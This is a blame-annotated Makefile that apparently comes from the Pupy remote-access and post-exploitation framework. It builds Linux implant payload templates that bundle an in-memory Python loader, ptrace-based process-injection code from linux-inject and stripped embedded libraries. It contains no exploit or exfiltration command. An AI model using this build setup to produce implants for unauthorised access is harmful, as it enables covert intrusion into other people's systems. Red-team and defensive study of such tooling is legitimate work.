2016-08-24 06:49:14 +00:00
|
|
|
CC ?= gcc
|
|
|
|
|
2017-05-17 17:16:57 +00:00
|
|
|
OS ?= $(shell uname -s)
|
|
|
|
SUFFIX ?= $(shell echo $(OS) | cut -c -3 | tr '[:upper:]' '[:lower:]')
|
|
|
|
|
2017-04-03 16:40:20 +00:00
|
|
|
CFLAGS := $(shell pkg-config --cflags python-2.7) -I../lzma -fPIC $(CFLAGS_EXTRA) -pipe -Wall
|
2016-10-22 20:02:14 +00:00
|
|
|
LDFLAGS := -lpthread -ldl -fPIC $(LDFLAGS_EXTRA) -Wl,-Bstatic -lz -Wl,-Bdynamic
|
2016-12-01 12:55:45 +00:00
|
|
|
PFLAGS := -OO
|
2016-08-23 16:48:10 +00:00
|
|
|
PIE ?= -pie
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-05-17 17:16:57 +00:00
|
|
|
CFLAGS += -D$(OS) -std=gnu99
|
|
|
|
|
2018-03-04 10:50:47 +00:00
|
|
|
ifeq ($(LIBPYTHON),)
|
|
|
|
LIBPYTHON := $(shell /sbin/ldconfig -p | awk '/libpython2.7.so/{print $$4}' | head -n 1)
|
|
|
|
endif
|
|
|
|
|
|
|
|
ifeq ($(LIBCRYPTO),)
|
|
|
|
LIBCRYPTO := $(shell /sbin/ldconfig -p | awk '/libcrypto.so.1.0.0/{print $$4}' | head -n 1)
|
|
|
|
endif
|
|
|
|
|
|
|
|
ifeq ($(LIBSSL),)
|
|
|
|
LIBSSL := $(shell /sbin/ldconfig -p | awk '/libssl.so.1.0.0/{print $$4}' | head -n 1)
|
|
|
|
endif
|
2016-08-24 06:49:14 +00:00
|
|
|
|
2018-01-13 09:11:10 +00:00
|
|
|
XZARGS ?= "gcc" "aligned(0x1000)" 'section(".xzrodata")'
|
2017-03-04 16:07:38 +00:00
|
|
|
|
2018-03-04 10:50:47 +00:00
|
|
|
ifeq ($(ARCH),)
|
2016-08-24 06:49:14 +00:00
|
|
|
ARCH ?= $(shell file $(LIBPYTHON) | grep 32-bit >/dev/null && echo 32 || echo 64)
|
2018-03-04 10:50:47 +00:00
|
|
|
endif
|
|
|
|
|
2016-08-24 06:49:14 +00:00
|
|
|
ifeq ($(ARCH),64)
|
|
|
|
NAME := 64
|
2017-05-19 16:36:45 +00:00
|
|
|
LDFLAGS += -m64
|
2016-08-22 22:53:26 +00:00
|
|
|
else
|
2016-08-24 06:49:14 +00:00
|
|
|
NAME := 86
|
2016-08-22 22:53:26 +00:00
|
|
|
endif
|
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
CFLAGS += -Iresources/$(ARCH) -Iresources
|
|
|
|
|
2017-04-03 20:34:46 +00:00
|
|
|
LINUX_INJECT_CFLAGS := -include fixes.h -include debug.h \
|
|
|
|
-Dmain=linux_inject_main -Drealpath=fakepath
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2016-08-22 22:53:26 +00:00
|
|
|
ifneq ($(DEBUG),)
|
2016-10-22 15:40:11 +00:00
|
|
|
DEBUG_ADD := -debug
|
2016-08-22 22:53:26 +00:00
|
|
|
CFLAGS += -DDEBUG -O0 -g
|
2016-08-28 11:29:02 +00:00
|
|
|
NAME := "$(NAME)d"
|
2016-08-22 22:53:26 +00:00
|
|
|
else
|
2016-10-22 20:02:14 +00:00
|
|
|
CFLAGS += -Os
|
2016-08-23 16:48:10 +00:00
|
|
|
LINUX_INJECT_CFLAGS += -Dprintf=dprint -Dfprintf=dfprint
|
2017-05-17 17:16:57 +00:00
|
|
|
ifeq ($(OS),Linux)
|
2016-10-22 20:02:14 +00:00
|
|
|
LDFLAGS += -O1 -Wl,-s -Wl,-x -Wl,--gc-sections -Wl,--no-undefined
|
|
|
|
LDFLAGS += -Wl,-z,now -Wl,-z,combreloc -Wl,--enable-new-dtags
|
2017-05-17 17:16:57 +00:00
|
|
|
else
|
|
|
|
LDFLAGS += -s
|
|
|
|
endif
|
2016-08-23 16:48:10 +00:00
|
|
|
endif
|
|
|
|
|
|
|
|
PYTHON ?= python
|
|
|
|
TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/
|
|
|
|
|
|
|
|
PYOBJS := _memimporter.o Python-dynload.o pupy_load.o pupy.o
|
2017-07-02 13:23:33 +00:00
|
|
|
COMMON_OBJS := list.o tmplibrary.o daemonize.o decompress.o
|
|
|
|
|
|
|
|
ifeq ($(UNCOMPRESSED),)
|
|
|
|
COMMON_OBJS += LzmaDec.o
|
|
|
|
COMPRESSED = 1
|
|
|
|
else
|
|
|
|
CFLAGS += -DUNCOMPRESSED
|
|
|
|
SUFFIX := unc.$(SUFFIX)
|
|
|
|
COMPRESSED = 0
|
|
|
|
endif
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2017-05-17 17:16:57 +00:00
|
|
|
ifeq ($(OS),Linux)
|
2016-08-23 16:48:10 +00:00
|
|
|
ifeq ($(ARCH),64)
|
|
|
|
COMMON_OBJS += linux-inject/inject-x86_64.o
|
|
|
|
else
|
|
|
|
COMMON_OBJS += linux-inject/inject-x86.o
|
2016-08-22 22:53:26 +00:00
|
|
|
endif
|
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
COMMON_OBJS += linux-inject/ptrace.o
|
|
|
|
COMMON_OBJS += linux-inject/utils.o
|
2017-05-17 17:16:57 +00:00
|
|
|
endif
|
2016-08-23 16:48:10 +00:00
|
|
|
|
2017-05-17 17:16:57 +00:00
|
|
|
all: $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX).so
|
2016-08-24 06:49:14 +00:00
|
|
|
|
2017-04-25 10:31:35 +00:00
|
|
|
revision.h:
|
2017-05-17 17:16:57 +00:00
|
|
|
if [ x"$$COMMIT" = x"" ]; then rev=`cat ../../.git/\`cat ../../.git/HEAD | cut -f 2 -d \ \` | cut -c 1-8`; \
|
|
|
|
else rev=$$COMMIT; fi; echo "#define GIT_REVISION_HEAD \"$$rev\"" >$@
|
2017-04-25 10:31:35 +00:00
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
pupy.o: resources/$(ARCH)/library.c revision.h
|
|
|
|
pupy_load.o: resources/bootloader.c resources/$(ARCH)/python27.c \
|
|
|
|
resources/$(ARCH)/libssl.c resources/$(ARCH)/libcrypto.c revision.h
|
2016-11-29 16:53:39 +00:00
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
import-tab.c import-tab.h: mktab.py
|
2016-10-20 20:16:53 +00:00
|
|
|
$(PYTHON) $(PFLAGS) $<
|
2016-08-23 16:48:10 +00:00
|
|
|
|
|
|
|
Python-dynload.o: Python-dynload.c import-tab.c import-tab.h
|
|
|
|
$(CC) -c -o $@ $< $(CFLAGS)
|
|
|
|
|
2017-07-02 13:23:33 +00:00
|
|
|
ifeq ($(UNCOMPRESSED),)
|
2016-11-26 09:20:33 +00:00
|
|
|
LzmaDec.o: ../lzma/LzmaDec.c
|
2017-05-19 16:36:45 +00:00
|
|
|
$(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $<
|
2017-07-02 13:23:33 +00:00
|
|
|
endif
|
2016-11-26 09:20:33 +00:00
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/library.txt: ../gen_library_compressed_string.py resources/$(ARCH)/library.zip
|
|
|
|
$(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py $@ resources/$(ARCH)/library.zip
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/library.c: ../gen_resource_header.py resources/$(ARCH)/library.txt resources/$(ARCH)/library.zip
|
|
|
|
$(PYTHON) $(PFLAGS) ../gen_resource_header.py resources/$(ARCH)/library.txt $@ $(COMPRESSED) $(XZARGS)
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2016-10-22 15:40:11 +00:00
|
|
|
resources/bootloader.pyc: ../gen_python_bootloader.py ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py
|
2017-04-03 20:34:46 +00:00
|
|
|
$(PYTHON) $(PFLAGS) ../gen_python_bootloader.py $(DEBUG_ADD)
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/bootloader.c: ../gen_resource_header.py resources/bootloader.pyc
|
|
|
|
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
linux-inject/%.o: linux-inject/%.c
|
|
|
|
$(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $<
|
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/python27.so: $(LIBPYTHON)
|
|
|
|
@mkdir -p resources/$(ARCH)
|
2017-05-17 17:16:57 +00:00
|
|
|
cp -f $< $@.tmp
|
2016-11-26 09:20:33 +00:00
|
|
|
-chmod 600 $@.tmp
|
2016-08-24 06:49:14 +00:00
|
|
|
-strip $@.tmp
|
2018-03-04 10:50:47 +00:00
|
|
|
sed $@.tmp -e 's@/tmp@\x00tmp@g;s@/usr@\x00usr@g' >$@ || ( rm -f $@; cp $@.tmp $@ )
|
2016-08-24 06:49:14 +00:00
|
|
|
rm -f $@.tmp
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/libcrypto.so: $(LIBCRYPTO)
|
|
|
|
@mkdir -p resources/$(ARCH)
|
2017-05-17 17:16:57 +00:00
|
|
|
cp -f $< $@.tmp
|
2017-03-02 16:58:54 +00:00
|
|
|
-chmod 600 $@.tmp
|
|
|
|
-strip $@.tmp
|
|
|
|
mv $@.tmp $@
|
|
|
|
rm -f $@.tmp
|
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/libssl.so: $(LIBSSL)
|
|
|
|
@mkdir -p resources/$(ARCH)
|
2017-05-17 17:16:57 +00:00
|
|
|
cp -f $< $@.tmp
|
2017-03-02 16:58:54 +00:00
|
|
|
-chmod 600 $@.tmp
|
|
|
|
-strip $@.tmp
|
|
|
|
mv $@.tmp $@
|
|
|
|
rm -f $@.tmp
|
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/library.zip: ../build_library_zip.py ../additional_imports.py
|
|
|
|
$(PYTHON) -OO $(PFLAGS) $< $@
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/python27.c: ../gen_resource_header.py resources/$(ARCH)/python27.so
|
|
|
|
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/libssl.c: ../gen_resource_header.py resources/$(ARCH)/libssl.so
|
|
|
|
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
2017-03-02 16:58:54 +00:00
|
|
|
|
2017-07-03 19:55:03 +00:00
|
|
|
resources/$(ARCH)/libcrypto.c: ../gen_resource_header.py resources/$(ARCH)/libcrypto.so
|
|
|
|
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
2017-03-02 16:58:54 +00:00
|
|
|
|
2017-05-17 17:16:57 +00:00
|
|
|
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX): main_exe.o $(PYOBJS) $(COMMON_OBJS)
|
2016-08-23 16:48:10 +00:00
|
|
|
$(CC) $(PIE) $+ -o $@ $(LDFLAGS)
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-05-17 17:16:57 +00:00
|
|
|
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX).so: main_so.o $(PYOBJS) $(COMMON_OBJS)
|
|
|
|
$(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupyx$(NAME).$(SUFFIX).so
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2016-08-24 06:49:14 +00:00
|
|
|
.PHONY: clean all
|
2016-08-22 22:53:26 +00:00
|
|
|
|
|
|
|
clean:
|
2017-07-03 19:55:03 +00:00
|
|
|
rm -f $(COMMON_OBJS) $(PYOBJS)
|
2016-08-22 22:53:26 +00:00
|
|
|
rm -f pupy pupy.so
|
2016-12-01 12:55:45 +00:00
|
|
|
rm -f *.o
|
|
|
|
rm -f linux-inject/*.o
|
2017-07-03 18:46:49 +00:00
|
|
|
rm -f resources/bootloader.pyc
|
2017-07-04 07:14:17 +00:00
|
|
|
rm -f resources/*.c
|
2017-07-04 07:59:15 +00:00
|
|
|
rm -f resources/$(ARCH)/*.c
|
2017-07-03 18:46:49 +00:00
|
|
|
|
|
|
|
distclean: clean
|
2016-08-24 06:49:14 +00:00
|
|
|
rm -f import-tab.c
|
|
|
|
rm -f import-tab.h
|
2017-07-03 18:46:49 +00:00
|
|
|
rm -f revision.h
|
2017-07-03 19:55:03 +00:00
|
|
|
rm -rf resources
|
2016-08-24 06:49:14 +00:00
|
|
|
|
|
|
|
$(COMMON_OBJS) $(PYOBJS): import-tab.h
|